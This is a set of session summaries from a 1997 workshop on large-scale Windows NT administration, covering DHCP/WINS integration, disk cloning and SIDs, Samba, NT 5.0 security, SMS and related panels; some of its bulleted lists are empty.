NetBench is a software package for testing throughput of CIFS (aka SMB) fileservers. It doesn't include response time measurements though, so Network Appliance set about adding them. This was done using hardware a packet capture device was added to capture a trace of a client talking to the server. Then the trace was analyzed to figure out how long it took the server to respond under various loads.
Not surprisingly, when Swartz compared a Network Appliance F630 to a Compaq ProLiant 5000 with hardware RAID, the F630 performed better. A detailed comparison can be found in the paper.
Mark Maxwell asked if there was any write caching being done on the Compaq server. Swartz responded that the intelligent RAID controller they were using does some write caching. Also, because the Compaq was using NT as its OS, NT does a substantial amount of write caching itself.
Phil Scarr asked if they were really doing a fair test when they were comparing a 500MHz Alpha box to a quad-Pentium Pro-200 box. Swartz didn't think the servers were processor bound, though, and because the rest of the hardware was very similar, should have made for a fair comparison. Scarr still had some concerns and suggested that a much better comparison would have been between a slower Network Appliance and a faster Compaq. This would truly have shown that CPU speed was irrelevant.
The Works-In-Progress (WIP) session is made up of a number of very short presentations detailing projects that aren't quite ready to be presented in the form of
a paper yet. A total of eight WIPs was presented.
The first WIP, "DHCP in Eight Days," was presented by Phil Scarr of Synopsys. Scarr chose to use ISC's dhcpd running on UNIX. DHCP leases are keyed by the Ethernet addresses of the clients. ISC's DHCP server stores its lease information, including the name of the client (which gets sent to the server during the DHCP handshake) in a text file. With this text file, the DNS can automatically be stuffed with the IP address and hostname of machines that have leases. Scripts that run every few minutes were set up to check for changes in the leases text file and push them into the DNS.
One drawback to this approach is that every PC must be uniquely named to prevent DNS conflicts. Because the engineers insisted on having administrator access to their personal machines, it was impossible to guarantee that machine names didn't change.
An audience member asked how Scarr dealt with the Network Operators staff who generally want every machine to have a static IP address. Scarr answered that he just told them, "Tough. The NT project needs DHCP." With the automatic updating of the DNS, though, it becomes more or less a nonissue the PCs are named using a specific naming convention, and with the name in the DNS, it is easy to identify the location of problem machines.
For more information on ISC's dhcpd, check their Web site at <>.
The second WIP was on WINS and was presented by Chris Rouland of Lehman Brothers. Rouland's group has found that the Microsoft WINS server has a fairly high failure rate. The MS WINS server is based on a JET database, and there's no programmatic interface to it. Because Microsoft provides no good tools for managing WINS, if the WINS server crashes and corrupts the database, you either have to restore from tape or wipe the database and start from scratch. For these reasons and others, people at Lehman Brothers are working on writing their own WINS server that's much more like DNS a single primary server that pushes changes out to secondary servers, with all servers being read-only to clients. Their implementation is based on nmbd, a program that's included with the Samba distribution.
Chris Rouland tagged off to Chris Hertel of the University of Minnesota, [Editor's note: An article about Hertel's project appears on page 23 in this issue.], who also did a WIP on WINS. The University of Minnesota has a DNS with 40,000 entries and is currently running Samba. When Chris and his team tried to load the 40,000 DNS entries into Samba's LMHosts file, it took over an hour to launch Samba. They decided to build a back-end database for Samba's nmbd instead. They're also working on external references telling nmbd to, for example, check with the DNS before allowing a WINS entry into the database. Finally, because the University of Minnesota, like most universities, is directly on the Internet, they're working on adding filters to nmbd to control who can and can't make queries and generate WINS entries.
Someone asked how each speaker dealt with dhcp putting "dhcp-" in front of all hostnames. Hertel said he wasn't familiar with this problem. Rouland said he hadn't experienced that and suspected it may be a configuration issue.
Todd Williams of MacNeal Schwendler asked all three speakers how they dealt with "renegade" DHCP servers on their networks. At the University of Minnesota, this has not been a big problem; routers are configured to automatically forward DHCP requests to a specific machine, so renegade machines can affect only their local segment. A good relationship with departmental LAN administrators helps here. At Lehman Brothers they use network stormtroopers. At Synopsys, they can black-hole the renegade's packets at the routers, but this doesn't protect the segment that the renegade is on.
The next WIP was on cloning NT workstations and was presented by Kimbol Soques of AMD. Her group needs to roll out over 6,000 workstations during the next three years. To do this, they developed a system based on cloning the hard drive of a completely configured machine. Then they discovered that this is not supported by Microsoft because it results in identical security IDs (SIDs) on every machine. This will mess up SMS on large networks and will also prevent NT 5.0 from working properly. This is not well documented.
They then discovered that the SID is assigned during the installation process when you switch from character-based to graphical-based install. Essentially, NT copies all necessary files to the disk, then wants you to reboot and proceeds to come up into the GUI where the configuration happens. If, instead of rebooting, you shut down the computer and remove the hard drive, you have a SID-less half-installed NT disk that you can clone.
Rob Elkins asked if one could use Ghost to clone the SID-less disks. Kimbol responded that Ghost or any other duplicating tool could be used.
Ken Rudman asked how applications were installed in this process. Kimbol said that several tools, including sysdiff, unattended install, and SMS installer, were used to install applications. No one way works for every application. Some applications, such as MS Office (surprise!), refuse to be installed in this manner. They had to resort to a network install for Office.
Ian Alderman commented that Microsoft Knowledge Base article Q162001 contains a summary of this information. Kimbol mentioned that the Resource Kit tool getsid prints out the SID of the local machine and allows you to determine whether you have duplicate SIDs. She also said that she had 20 or 30 other KB articles that referenced this problem. She'll email all the info to anyone who wants it. Her email address is <kimbol.soques@amd.com>.
Chris Kulpa asked if they were using KiXtart to do registry modifications as part of their remote installations. They are. For more info on KiXtart, check out <>.
The next WIP, on Samba, was presented by Jeremy Allison of Whistle Communi-cations. Allison is now the chief architect of Samba and filled us in on the features of release 1.9.17 (which should now be available) and on the features to come soon. [Editor's note: See Allison's article on page 16 of this issue]
Features of release 1.9.17 include:
Features that Jeremy hopes to have added soon include:
Features that will take longer to add include:
Till Poser of DESY presented the next WIP, entitled "Designing Application Support Infrastructure for a Heterogeneous Scientific Environment." He wins the "longest WIP title" award. DESY is the German High-Energy Physics Lab. There is a very mixed environment there, with predominantly UNIX and Win3.1 workstations and NT workstations just emerging. DESY is made up of three user groups: engineers, physicists, and administrators. The engineers are, for the most part, the most demanding and are becoming the early adopters of NT. Till, working in the Computing Services Department, is finding that with the proliferation of powerful desktop machines, CS is struggling to hang on to its central control of services and is having to rethink its service structure.
To help control things, they've adopted a three-tier, color-coded computer scheme that was originally developed by Remy Evard at Argonne Labs. A "green" PC is fully administered by CS and is suitable for most administrative staff. A "yellow" PC is built, installed, and configured by CS, but is left to the individual to administer. A "red" PC is under the sole control of the end-user. CS neither administers nor supports it.
CS is using a product called NetInstall to handle automatic installation of applications on demand. User accounts are centrally administered, and users have roaming profiles that allow them to log on from different workstations. NetInstall deals well with machines that are not all identically configured, which makes it a nice fit in their rather anarchic environment.
CS is also experimenting with using SMS installers to push out critical updates such as OS updates and service packs. Most of these services are strictly for the "green" machines to allow CS to maintain central control. CS is not sure yet whether they'll be able to apply these techniques to the "yellow" machines.
An audience member asked what the current distribution was among the three colors and what they expected the distribution to be in the future. Poser answered that, currently, all machines are "yellow" most administrative staff are still on Win3.1. Poser expects about 2533% will eventually be "green" machines. Very few will be "red" because "red" machines are not allowed to participate in the NT network.
The next WIP, "Integrating NT Workstations with Solaris," was presented by Gerald Carter of Auburn University. When NT was released, Carter's group's goal was to integrate it into the university's environment without having to install any NT servers. This meant that there had to be some way to handle NT's authentication requirements. They either had to duplicate their existing UNIX accounts on the NT workstations or somehow have the NT boxes authenticate via UNIX. They chose the latter. Luckily, there was already a freeware product called NISGina that did exactly that. NISGina is a DLL that replaces MSGINA.DLL and allows an NT workstation to function as a NIS client. NISGina adds the ability to pull home directory info and registry settings from the NIS maps during login. The login procedure goes like this:
Password synchronization is one-way. If you use the NT password-changing mechanism, NISGina changes the password on the account that was created locally and then uses yppasswd to change the NIS password. Unfortunately, if users change their passwords on a UNIX box, the local password does not get updated. Logins still work, because NISGina always looks to NIS for passwords at logon, but apparently this causes problems with shares because NT looks locally for those passwords.
Phil Scarr commented that even if you don't use NISGina for authentication, you can use its tools to query NIS maps.
The final WIP, "Measuring NT Performance," was presented by Steve Hearn of Westpac Bank. Essentially, Hearn was charged with accurately measuring NT performance to allow for capacity planning. With over 1,000 servers deployed, this was not an easy task. Hearn's group had to determine how many servers to baseline, at what frequency to poll them, and how many of the hundreds of performance parameters were actually useful. When selecting performance-measuring products to evaluate, they wanted to make sure that each product
In the end, they chose two products to evaluate: Performance Works for NT by Landmark Systems and BEST/1 by BGS Systems. They chose a small, basic subset of NT's performance parameters to baseline and decided that they would baseline them again after three months to look for significant changes.
Hearn then asked the audience if anyone else had done anything like this. A spokesman for HP said that they had internally used a product that they marketed called Measureware. This is apparently a snap-in for HP Openview that runs agents on each monitored server (both UNIX and NT). The agent gathers and analyzes data locally and then ships the results back to the Openview module.
Alan Epps asked which product was evaluating better so far. Hearn said that Landmark's Performance Works was working out really well. However, he noted that both companies were relatively new to the NT field and that these two products were still the best two he'd found so far.
After 90 minutes of very speedy talking, the WIP session came to an end. It will be interesting to return next year and hear these WIPs as full papers after the authors have worked out all the kinks.
MS/Security in Windows NT 5.0
Peter Brundrett, Microsoft Corporation
Peter Brundrett, a program manager at Microsoft, spoke about the future of security. Windows NT 5.0 should feature highly improved security, including data privacy on the desktop and on the wire, single enterprise logons, and decentralized administration for large domains. To implement these features, Microsoft will be utilizing strong network authentication, public-key credentials, and standard protocols for interoperability. Security administration will be greatly simplified, with unified account information for each account in a domain, fine-grain access controls, and per-property auditing. Most importantly, the new directory services will allow greater ease of administration through the hierarchical layering of domains.
Most notably, Kerberos 5 will be replacing NTLM as the authentication method for NT-based domains. However, the interoperability between existing Kerberos 5 distributions and NT has not been clarified. Kerberos 4 will not be supported. [Editor's note: SeeTs'o's article on page 8.]
Another important new feature closely associated with the hierarchical layering of domains will be the "nesting" of groups within other groups. Circular groups will be allowed, and error-checking will prevent endless looping when checking for group membership. Local groups will also be eliminated, being made redundant by the new group format.
Windows NT Security
Summary by Rik Farrow
The security panel, moderated, by Mike Masterson of Taos Mountain Software, consisted of Bridget Allison of Network Appliances, Jeremy Allison of Whistle Communications (Samba), Peter Kochs of Digitivity, and Peter Brundrett, Microsoft program manager.
The panel started with a quick survey of the audience. Ten percent of the audience used NT 50% of the time or more, while 80% used UNIX 50% or more. This served to identify the audience's background. Most of the audience claimed some experience with NT, and only 2 (out of approximately 320 people) admitted to using Microsoft's DNS.
Bridget Allison began by passing out "Ten Things Every NT Administrator Should Know About Security," summarized here:
I admit to ad-libbing by adding comparisons to UNIX.
Peter Kochs talked a little about his company's (Digitivity's) product: a server-based sandbox that runs Java and ActiveX applets while displaying the output on or fetching user events from desktop browsers. The applets run within a controlled environment on the server, isolating the desktop's browser from security lapses and providing central control of applet execution.
Jeremy Allison mentioned that man-in-the-middle attacks against the SMB protocol are fixed with SP3 (service pack 3) for NT 4.0, but this breaks backward compatibility. Essentially, by capturing and retransmitting an SMB authentication (prior to SP3), you can easily discover the password used by a remote client. The patch (SP3) means that older systems (Windows 3.1 and Windows 95) will not work with patched servers.
Allison also said that the system call interface to NT is completely undocumented. This point had been made by other speakers, including some Microsoft employees. The reason given by Microsoft representatives is that the NT kernel changes faster than documentation writers can keep up with. Essentially, the source, some 1620 million lines of code, is the documentation (the contents of 18 CD-ROMs).
Peter Brundrett of Microsoft mentioned that the conference is part of the process of improving NT. He suggested staying on top of service packs for security. He also said that there are some 2,600 system service APIs (UNIX has 157 system calls in 4.4 BSD). Security was not designed to be a plug-and-play feature, and there are security APIs that have not been documented, said Brundrett.
After this introduction, questions from the audience were accepted, starting with Chris Hertel of the University of Minnesota. Hertel stated that he had heard that the level of cooperation with MIT on Microsoft's implementation of Kerberos 5 was "not so rosy" and that his university planned to block access to Microsoft services at the router. Brundrett responded by saying, "If you are interested in open systems, that is a decision for you to make. . . . Our implementation will interoperate with Kerberos 5."
Hertel that said that he would like to point an NT workstation at a UNIX Kerberos server. Brundrett said this was working in Microsoft's labs. I contacted Ted T'so, who works on the Kerberos project at MIT. His response appears on page 8 in this issue, but the disagreement centers on Microsoft extending the defining RFC (1510) as a result of some vagueness in the text. In particular, how Microsoft will distribute information about groups appears to be in dispute.
Dave Ellis of Sandia Labs asked about DCOM (a distributed object system) configuration and got an answer that Microsoft was working on the problem.
Someone complained about the lack of interoperability between Windows 95 and NT (NT RAS cannot change password, and Windows 95 users cannot include a password with the "net use" command). Todd Needham, a Microsoft evangelist, said that this was a valid point. However, you need to choose the product that meets your requirements. "Windows 95 gives you all the security you deserve," said Needham.
Derek Simmel of CERT/CC said that they planned to start producing advisories for NT but that CERT does not have the level of expertise to support NT. CERT has been working on this for six months. His question was about validity and verification testing of the NT kernel. Brundrett responded by saying that Microsoft has tools to do this. Simmel asked if there are probe tools such as SATAN for NT. Brundrett said that someone else should do this (are you listening, Farmer and Venema?).
Jim Duncan, a systems manager at Penn State, said that Sun, IBM, SGI, and most other vendors worked with FIRST (Forum of Incident Response Teams), but Microsoft has been a glaring absence. Brundrett said that he would see about working with CERT and FIRST.
Someone asked if a user's role can be modified in NT 5. Brundrett said there will be an su command in NT 5.
Another person asked if it would be possible in NT 5 to prevent certain accounts from being added to particular groups (a way of preventing some object access exposures). Brundrett said it is an interesting idea. (Users administer to groups they create, which can lead to vulnerabilities in NT.)
The same person asked about control over encryption in network links. Brundrett replied that Microsoft is considering the notion of zones that control the security policy for encryption. Finally, the person asked if the Management Console was an extra cost option. The answer is no, but snap-ins (add-ons) are customizable extras, and you can buy them.
Like the panel that discussed source licensing of NT, the security panel produced a lot of heat, with most of it directed at Microsoft. Security and vendor secrecy do not mix well. But the Microsoft representatives did make an effort to answer questions and at least said that they would look into making changes, such as better participation in generating security advisories or working with FIRST. Altogether, it was an interesting and useful panel.
T.J. Fiske of Qualcomm said that his company had hundreds of "blasted" (cloned or ghosted) NT installations with the same machine id and asked what happens when we upgrade. Brundrett said that the SIDs do not change during an upgrade to NT 5.
Bridget Allison closed the panel by saying that she relies far too much on volunteered information for NT security and that formalizing the information would be very welcome. She also stated that more public documentation would be welcome.
This session, like many others, had Microsoft employees speaking openly, and not defensively. Only the issue of Kerberos 5 standards was not openly discussed not surprising, because Microsoft will be creating its own "standard" in this area.
Something that did not come up in this workshop, but did in the previous one, has an impact on security. Tod Needham, while speaking on a panel about the need for NT source, said that the RPC mechanism in NT has some very serious security flaws and that he doesn't want too many people poring over the source until these problems has been fixed. I found that interesting, because I had heard similar rumors about vulnerabilities from the hacker community this summer. Let's hope Microsoft handles this one, or perhaps we may yet see the "Microsoft worm."
Administration III: Miscellaneous
This session saw three papers presented. The first, "Implementing Large NT Networks in a Heterogeneous Computing Environment," was given by Freddie Chow of the Stanford Linear Accelerator Center (SLAC).
SLAC's network consists of roughly 700 UNIX boxes, 700 Macs, 200 VMS stations, 200 Win3.1 stations, and 500 NT stations. The NT boxes were all installed very recently.
SLAC's computing support group quickly discovered that the existing support model, consisting mostly of casual employees hired by each department, was not adequate for managing an increasingly complex network. Their new support model calls for centralized server and service support and centralized coordination of client support with departmental system administrators. They also do centralized purchases of software for the site, allowing them both to get discounted software prices and to at least control somewhat the software that goes on client machines.
SLAC has established several sitewide computing policies: they've decided to implement a single sitewide NT logon any user can log on from any workstation. There's also to be no Windows 95 on site. Additionally, several domain policies were established, including:
The computing support group realized it couldn't ignore Win95 completely. A large research site such as SLAC will have visiting researchers with notebook computers. To deal with this, they developed a Win95 policy that states:
When looking at management software, Chow compared Microsoft's SMS to NICE/NT a management package developed at CERN. NICE/NT offered support for Novell and NDS as well as NT, but SMS offered remote application installation and OS updates. Because SLAC has no Novell, they decided to use SMS. In talking with other sites running SMS and in testing they did themselves, they found that a practical configuration for an SMS machine was a dual Pentium Pro-200 station with 256Mb of RAM.
SLAC is also running NTrigue to allow non-NT users to run NT applications.
Till Poser of DESY asked how SLAC was generating its NT workstations. Chow replied that they were using cloning. He didn't elaborate, but in light of the SID issues that came up at the conference earlier, he may have to rethink that process.
Ken Rudman elaborated on the dual-Pentium requirement of SMS. SMS uses a SQL server to store all its information. Normally, the SMS server and SQL server are run on two separate machines, and the SQL server can benefit from the dual-Pentium configuration. SMS by itself should not need such a powerful machine.
Will Figueroa of Mentor Graphics asked for some more information on the NTrigue server hardware and how many users it can handle. The server at SLAC is a dual Pentium-Pro with 512Mb RAM and 100baseT. They run very few people on it and so haven't really stressed it, but according to colleagues at Stanford University, a similarly configured server was running with 32 concurrent users without significant slowdown.
Steve Hearn asked what SLAC's SMS hierarchy was. Chow responded that currently they're only deploying it on a small scale with just a single site. Bill Evans of Nortel commented that they'd installed a number of standalone SMS sites and then installed a master on top to pull all the sites together into a hierarchy.
Till Poser asked what trust relationships were in place for the 12 domains that they had. Chow said they had a single-master domain model with a single domain for accounts. The 12 domains are resource domains with between 50 and 150 workstations each.
The second paper, "Effective Usage of Individual User NT Profiles with Software Distribution," was presented by Mark Murray and Troy Roberts of Interprovincial Pipe Line Inc. (IPL). IPL runs an oil pipeline that stretches across most of Canada. Along the pipeline, they have over 100 field offices, roughly 30 of which are manned. Their WAN reaches most offices, and they have a mixture of Win3.1/95, Windows NT, VMS, and UNIX workstations spread through their offices.
In devising their infrastructure, they kept several design goals in mind:
To accomplish most of these goals, IPL used NT profiles for users. They divided the profile into a user profile, which contains all of the settings relevant to a particular user, and a machine profile, which contains machine and global software settings. They also added the concept of a file space to the profiles. Profiles normally deal only with registry settings, but adding file space allowed them not only to specify what registry settings would be set, but what files should be present. This was done using combinations of shares to have appropriate files (both user data and application binaries) accessible to the user at a consistent location.
Software installation is accomplished by splitting software packages into two separate packages a user package and a machine package. The user package gets installed into a user's profile and follows that user around. The machine package gets installed into each machine that requires that application and stays with the machine.
Not all machines run every application, and not all users need every application. To manage all of this, a database was set up. Every time a user logs in to a workstation, the database is queried to determine what apps the user should have and what apps the machine is allowed to run. The database has a Web-based front end that allows help desk staff to assign applications to users and machines. New assignments take effect the next time a user logs in or a machine is logged into.
This is an extremely sophisticated software installation infrastructure. For a lot more detail on how it works and what was done, refer to their paper.
Questions started with the most common question of the conference: how, if at all, did they integrate passwords between NT and UNIX boxes? Unfortunately, they haven't tackled this problem yet. Passwords are still stored in two separate places, and no synchronization is done.
Todd Williams asked them to comment on the amount of time it took to implement this project and whether it was justified. Roberts estimated that it had taken them about 18 months from conception to completion. During the actual rollout at the end, they had a staff of about 12 working on the project. He said that this project has drastically reduced their total cost of ownership. It's extremely easy to add new machines and to support existing machines because the machines are always in a known state.
Ian Alderman commented that NT normally leaves behind the profile of the last user who logged in. He wondered if they'd seen this problem. Roberts responded that, in general, this hasn't been a problem. For one thing, users tend to stick to using their own machines (for now) and, for another, because their profiles completely rebuild the machine's environment when a user logs in, any old information is completely flushed out.
An audience member commented on a product called P-synch, which runs on a Windows machine and allows users to change their passwords on every system at once. It's available from M-tech, <>.
Rob Elkins asked exactly how applications are downloaded to machines when users log in to different machines. Murray responded that, in general, they try to avoid this. Most applications are preinstalled on systems. Apps such as Office are installed on every machine. Other large packages, such as AutoCAD, are installed on selected machines and will not be installed onto other machines. Small applications are Just-In-Time installed if a machine doesn't have them and a user who's supposed to have them logs in. This installation is done at login time.
John Holmwood of NOVA Gas Trans-mission asked how a user's profile gets updated when new applications are installed if the user is currently logged in. Murray responded that, because applications are split into two separate packages, machine-specific part of the package can be installed immediately, and the user-specific package can be installed the next time the user logs in.
Someone asked what tools were used to implement this system. Roberts said that WinInstall was used to create the separate packages, and Perl was used behind the scenes on the servers.
The last paper of the session, entitled "System Administration of Scientific Computing on Windows NT," was presented by Remy Evard from Argonne National Lab.
Evard and his group got the idea that they might be able to build a supercomputing architecture around a farm of Pentium Pro-based PCs for a fraction of the cost of the existing supercomputers. They based this on tests that show that Pentium Pro-200-based systems compare favorably to supercomputers when matched processor to processor.
Their plan, quite simply, was:
To start with, they built a cluster of several Pentium Pro 200 PCs interconnected with 100baseT. The main problem they faced was getting remote access to the PCs. NT is designed to be used from the console, and in their environment, that was rarely practical.
They found that Ataman's RSH offered a reasonable remote-access solution. It still wasn't perfect it didn't load in the user's registry settings to allow for personalized drive mappings and such but it permitted users to schedule jobs remotely.
They also set up a machine to run NTrigue on. They contemplated putting it on each node in the cluster, but that doesn't scale well because it requires a user to make a connection to every node one at a time. Instead, the NTrigue machine serves as a sort of "front end" to the cluster, allowing users who don't have their own NT workstations to access NT resources and build programs.
The cluster has been up for several months now, and they're calling it a qualified success. According to Evard, it works, but it's slow. Although there are still bugs to work out and tools to develop, the hardware is available cheap off the shelf, making expansion of the system relatively painless.
Lyle Meier asked if they'd considered using Timbuctu for remote access. Evard responded that, again, it doesn't scale to hundreds or thousands of nodes. It would be usable to connect to the front end, because NTrigue is being used now.
Till Poser asked if they'd looked at LSF to handle scheduling of jobs. Evard said that they had purposely avoided dealing with scheduling yet. They still hadn't perfected scheduling on their IBM supercomputer, so they didn't want to complicate the NT experiment. When it comes time to look at scheduling, they'll look at LSF as well as others.
Poser also asked Evard to expand on his "it's slow but it works" statement. Evard explained that it appeared to be a software problem involving an intercommunication library that was being used the code ran faster on a single machine than on two, and on four, it pretty much stopped. They're convinced that interprocess communication will always be the most difficult obstacle to overcome. The Pentium chip itself will have no problems competing on a number-crunching basis.
PRESENTATIONS AND PANEL
Tips, Tricks, and Gurus
This panel consisted of Mike Carpenter, Mike Frederick, Bruce Schrock, and Paul Pavlov from Pencom and Eric Pearce from O'Reilly & Associates. Mike Carpenter is the manager of the answer desk at Pencom. He has 11 years of UNIX experience. Mike Frederick urged everyone in attendance to obtain the Resource Kits. Bruce Schrock has been with Pencom for one-and-a-half years, and has been working with Windows NT since version 3.1. Paul Pavlov is from a mostly UNIX background. Eric Pearce is a half-time network administrator and half-time author at O'Reilly and Associates with 12 years of UNIX experience, mostly on Suns, and 2 years of Windows NT experience.
After this brief introduction, the panel began taking questions.
When browsing, the client has a fixed limitation on the number of shares displayed. Why?
Each subnet has a master browser. Every machine broadcasts its presence. The master browser picks up the broadcast and synchronizes with the Primary Domain Controller. Based on the version of the client and the master browser, there are some limitations on the number of shares displayed.
Is there a scriptable setup for Windows NT print servers?
It can and has been done, but the script is proprietary code and can't be released.
Is there an equivalent to sudo for Windows NT?
No.
Are there any books or tutorials analogous to "UNIX for VMS users" to assist UNIX users when dealing with Windows NT?
Not in any single unified source.
Is there a passive way to set system time based over a network?
No, there are only active commands such as net time /set /y.
IP anomalies are occurring while multi-homing Windows NT. What can be done to prevent or minimize this?
Don't multi-home Windows NT unless absolutely necessary.
MS/Systems Management Server (SMS)
David Hamilton, Microsoft Corporation
The final session of the workshop was an invited talk by Microsoft on SMS. The session nearly didn't happen news came down on Thursday that the speaker had had to cancel. This did not go over well with the audience, and one has to wonder what transpired at Microsoft when, on Friday, the audience was informed that the session would happen after all.
The talk was presented by David Hamilton, who is the product manager for Systems Management at Microsoft. David emphasized that SMS is just one product that the Systems Management group puts out, but it is their key package. SMS is currently at release 1.2
SMS is primarily focused on three key areas: Inventory, software distribution, and diagnostics. Inventory deals with the hardware and software on each workstation. Hamilton said that SMS is very heavily inventory focused. In his opinion, you have to have good inventory tracking to be able to perform either of the other two functions. The second function, software distribution, is the function most people buy SMS for. It allows you to distribute applications and OS updates to
every workstation on the network. The last function, diagnostics, allows you to diagnose remote workstations. One of the most used tools is the remote-control tool that allows you to see and control a workstation's desktop.
Although SMS has a Windows NT focus, it will also manage Netware, LAN Manager, LAN Server, MS-DOS, Windows 3.1, Windows 95, Macs, and OS/2 clients.
SMS is geared toward enterprise networks with hundreds or thousands of workstations. It is designed to be distributed multiple-site organizations can have a site server at each location. Each site-server becomes the point of communication both into that site and back to the master server. Site servers do not have to be Windows NT servers. If an organization has Netware servers already deployed, SMS has agents that can run on those servers and provide basic SMS functionality.
SMS is also bandwidth aware. It can be configured to use only a certain percentage of available WAN bandwidth for software distribution, diagnostics, or management. It can also be configured to use that bandwidth only at certain times during the day.
Hamilton admitted that SMS 1.2 is weak in the area of remote software installation (a key feature that many people buy it for), but Microsoft has recently released a couple of add-ins that promise to greatly improve it. The first product, Package Command Manager (PCM), runs as a service on each NT workstation and allows installations that must run with administrative privileges to run regardless of what user (if any) is logged in at the workstation.
The second add-on is the SMS Installer, which is an extremely sophisticated package installer that uses snapshooting to assemble packages. This is useful for applications that either aren't designed for remote installation or can't be automatically installed at all. Essentially, a snapshot is taken of a "test" machine before installation; then the application is installed manually, and another snapshot is taken afterwards. The differences are compared, and a package containing all of them, in both files and registry settings, is assembled. A script is also put together to automatically install the package at each workstation.
It's claimed that SMS Installer makes intelligent decisions about what does and does not need to be installed at each workstation (in the cases where remote workstations are configured differently than the "test" machine). By doing before and after snapshots of the workstation, the installer provides the capability to do an uninstall or even a full rollback in case of difficulty. SMS Installer also supports signing of packages to increase security.
On the subject of NT 5.0, Hamilton explained that, although it makes a lot of advancements in the area of manageability, NT 5.0 does not overlap much with SMS's capabilities. Both inventory management and diagnostics are strictly the domain of SMS. Where there is some overlap is with automated software installation. NT 5.0 includes a product currently named Darwin that attempts to simplify rollout of applications in an enterprise network. The SMS Installer has been designed to interact with Darwin, handing off to Darwin on the workstations when it's present.
Microsoft's Systems Management group is spearheading another new development: Web Based Enterprise Manage-ment (WBEM). This is somewhat of a bad title, because WBEM has nothing to do with the Web. Essentially, WBEM is to systems management what SNMP is to network management, although WBEM will not be constrained to just systems. The goal is to provide a common layer and interface for getting at information about a system. That information could be software config info, user info, hardware info, network stats, or performance data. It doesn't matter; the WBEM layer will bring it all together and translate it if necessary. WBEM is being included in both Windows 98 and NT 5.0 and promises to greatly improve the manageability of these platforms by products such as SMS.
Kristina Harris asked Hamilton to clarify what software is available today and what platforms it runs on. SMS is currently at revision 1.2 and will run on either NT 3.51 or NT 4.0. Several add-ons have been produced; most are bundled in the SMS Service Pack 2. The two add-ins, PCM and SMS Installer, are separately downloadable. All of these add-ins work under both NT 3.51 and 4.0.
An audience member asked for clarification on whether SMS needed SQL Server and a PDC or not. Hamilton said that SMS requires SQL Server (either 6.0 or 6.5). It does not work with any other database software. SMS must run on a Primary or Backup Domain Controller; however, it does not have to run on the same machine as the SQL Server (in fact, for performance reasons, it's better if it does not).
Another audience member asked if documented APIs are available for WBEM. There are, and Hamilton referred him to a Web site where it's all available: <>.
Someone asked if SMS Installer's rollback capability consumes a lot of disk space. Hamilton said that it does, because it has to save a copy of everything it replaces. But the installer includes sophisticated scripts that allow you to uninstall by walking backwards through the script. This isn't the same as a full rollback, but it uses little or no disk space.
Remy Evard asked what resources are available for understanding and successfully deploying SMS and how users can get feedback to the development team on areas that need improvement. Hamilton said that there's a lot of information online on the Microsoft Web page, including planning guides for rolling out SMS and MS Office using SMS. See <> For feedback, there are two mailing lists, <smswish@microsoft.com> and <manageit@microsoft.com>, for SMS-specific and general management suggestions, respectively.
Someone asked if Microsoft intends to support UNIX with SMS. Hamilton said that they worked with DEC quite a while ago to develop UNIX management. They ended up handing the work over to DEC, and it's been released under the title Assetworks.
Jonathon Ott of HP asked if there is a way to do SMS's remote control from the Windows 95 platform. Hamilton said that a company called Computing Edge makes an SMS add-on that allows the SMS admin program to run under Windows 95.
An audience member noted that SMS lacks support for "distribution by courier." [Editor's note: Courier may be the Tivoli Systems software distribution product.] Hamilton said they are working on functionality that will allow you to transfer a software package on a CD-ROM via courier and just send the commands over the WAN to install the package. This functionality will appear in the next full release of SMS.
Derek Simmel of CERT asked what security information the inventory manager could gather and also what security measures are being used on software distribution. Hamilton, admitting that he isn't a security expert, said that the inventory manager can gather any information that a process running on the remote workstation has access to such as registry settings or file information. As far as the software distribution is concerned, he said they're not introducing any new holes, but are just using the existing network structure that's already in place (although he had said earlier that SMS Installer supports packet signing).
David Blank-Edelman from Northeastern University commented that he'd been doing systems management for at least 15 years and had come across a huge wealth of information, some of which was in the form of conference proceedings and such. He wondered if Microsoft had access to that information and was using it in its design philosophies. Hamilton said that he spends a lot of his time talking with customers to see what they want in the products, but he had no idea whether Microsoft had any of those proceedings.
Chris Kulpa of Michigan State University asked how the HKEY_LOCAL_USER hive in the NT registry gets updated when a package is installed and a user is not logged on. Hamilton said that currently it isn't. What really needs to happen is that packages need to be split apart into a user section and a system section and each section installed separately. The user section would be installed the next time the user logs on. Microsoft plans to have this in the next release. Note that this is the same functionality that IPL wrote (see the Administration III session summary on page 62).
Bill Evans asked what can be done about software that requires software keys or serial numbers to be entered at the workstation as it's installed. Hamilton said it's possible to put the numbers required into the registry as part of the distribution and then pull out the desired number as part of the install.
Rik Farrow said that most UNIX administrators are nervous about turning an installation script with administrative privileges loose on a system. Hamilton replied that you can "test drive" a script first and get a printout of exactly what changes the script will make to the system without it actually making the changes. This allows you to avoid things like installation of back doors.
T.J. Fisk of Qualcomm commented that his company has a software librarian who handles distribution of software to individuals. Currently the packages are mailed out, taking a week or more to be delivered. He wanted to know if it is possible in SMS to automate this, making it easy to deliver a single package to a single person. Hamilton responded that currently this is possible with SMS, but it's difficult. There are rule-based algorithms for deciding what machines to deliver software to, but one needs a lot of training to write those rules. With the introduction of Microsoft Management Console in NT 5.0, this should get a lot easier.
Scott Fadden of Sequent Computers asked if there is a database schema available for the SMS database. Hamilton said this is probably the single most frequent request they get, but they can't provide one because their database changes too much from release to release. Instead, they supply a utility called SMS Views that provides a series of ODBC interfaces into the database.
An audience member pointed out that throughout the conference, there's been a strong interest in getting more command line support into NT. He asked if SMS would support more command line functionality. Hamilton responded that they're working on that slowly, but they still won't have everything accessible from the command line by NT 5.0.
This marked the last session of the workshop. Phil Scarr concluded with a few words. When he asked who would attend a workshop like this next year, virtually all hands went up. The program committee had already agreed that another workshop would be a good idea.
The Large Installation System Administration of Windows NT Conference is scheduled for August 5-7, 1998, in Seattle, WA.
Have you ever heard of drag and UN-drop?
Iconic systems management is a fake!
Human efforts alone are insufficient. . .
Last time I checked, Office 97 was a productivity app, NOT an operating system!
Now booting the registry. . .please wait. ..
This really isn't as bad as it sounds. . .
NT 5.0 . . . I'm running it today. What I run, you don't want!
Has anyone noticed that [cable TV] Channel 29 is dedicated to the Windows 95 Blue Screen of Death?
Sysadmins always know what should be in the next revision. . .
Windows 95 gives you all the security you deserve. . .
My day job is installing and configuring Exchange at Boeing!
NT is far too/more complicated (than UNIX)
Management demands rapid deployment
No good management tools
NT is too "closed"
Support departments are given far too few resources to manage NT
There are not enough NT "experts" yet
Proposed NT enterprise infrastructure doesn't scale
NT is becoming instantly mission critical
User namespace integration is hard
Microsoft is suprisingly willing to listen
Integration issues are becoming better understood
Samba is cool
Everybody is having the same problems I am
|
